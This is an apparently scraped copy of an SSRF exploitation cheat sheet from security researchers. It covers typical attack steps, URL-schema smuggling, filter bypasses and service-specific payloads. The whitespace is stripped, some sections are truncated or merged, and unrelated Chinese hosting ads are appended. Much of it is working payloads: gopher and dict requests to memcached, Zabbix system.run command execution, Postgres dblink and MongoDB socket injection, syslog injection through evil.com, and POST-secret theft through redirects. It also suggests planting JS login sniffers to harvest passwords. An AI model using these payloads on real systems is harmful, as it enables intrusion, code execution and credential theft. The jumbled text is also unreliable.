Ifyouhaveanyquestions,pleaseposttheminthecomments!
Revision1.
026august2014Authors:@ONsec_Labhttp://lab.
onsec.
ru[ENG]@Wallarmresearchteamblog.
wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApachewebserverHTTPparserNginxwebserverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponse2ConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedExploitsPHPFPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBCouchDBExploitsFFmpegReferencesToolsResearches3BasicsSSRFServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytimebaseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
DeterminehostbasedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides2021aboutFDsand2223aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopenphpexec()callfromAPI(suchasexec('echo123>&'))youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsecLab/scripts/blob/master/listopenfd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenablebywithcurlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp)//echo$resp.
"nn"echo$doc>getElementsByTagName("error")>item(0)>nodeValueif(libxml_get_errors()!
=null){print_r(libxml_get_errors())}>10ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/>gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNonauthoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
13.
php]]>//validfooterforreadableformat15SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJavabasedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTPclient,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopenredirect(WASC38)orresponsesplitting/smuggling(WASC25,WASC27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.
307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOKLWPPHP16Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/"$ch=curl_init($url)curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1)curl_setopt($ch,CURLOPT_POST,1)curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret")$resp=curl_exec($ch)Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrictusewarningsmy$b=LWP::UserAgent>newmy$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a'$b>post($u,{'key'=>'secret'})17ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServerSideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquit18PHPFPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://stringthatyouwanttoadd.
evil.
com:514/FirstconfigureDNStoresolvestringthatyouwanttoadd.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:stringthatyouwanttoadd.
evil.
com:8000Connection:KeepAliveSyslogentities:Nov2300:53:50localhostHost:stringthatyouwanttoadd.
evil.
com:8000#015Nov2300:53:50localhostConnection:KeepAlive#015Nov2300:53:50localhost#015CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#01519ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhostbasedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarboot20PostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpqconnect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion()')MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$ncl8000|hexdumpC000000003b0000002800000000000000d4070000|.
0000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')21CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserversideJScodeforexample.
金山云618年中促销活动正在进行中!金山云针对企业级新用户优惠力度比普通个人用户优惠力度要大,所以我们也是推荐企业新用户身份购买金山云企业级云服务器,尽量购买3年配置的,而不是限时秒杀活动中1年的机型。企业级用户购买金山云服务器推荐企业专区:云服务器N3 2核4G云服务器,1-5M带宽,827.64元/3年,性价比高,性能稳定!点击进入:金山云618年中促销活动目前,金山云基础型E1云服务器2核4...
WHloud Date(鲸云数据),原做大数据和软件开发的团队,现在转变成云计算服务,面对海内外用户提供中国大陆,韩国,日本,香港等多个地方节点服务。24*7小时的在线支持,较为全面的虚拟化构架以及全方面的技术支持!官方网站:https://www.whloud.com/WHloud Date 韩国BGP云主机少量补货随时可以开通,随时可以用,两小时内提交退款,可在工作日期间全额原路返回!支持pa...
百纵科技:美国高防服务器,洛杉矶C3机房 独家接入zenlayer清洗 带金盾硬防,CPU全系列E52670、E52680v3 DDR4内存 三星固态盘阵列!带宽接入了cn2/bgp线路,速度快,无需备案,非常适合国内外用户群体的外贸、搭建网站等用途。官方网站:https://www.baizon.cnC3机房,双程CN2线路,默认200G高防,3+1(高防IP),不限流量,季付送带宽美国洛杉矶C...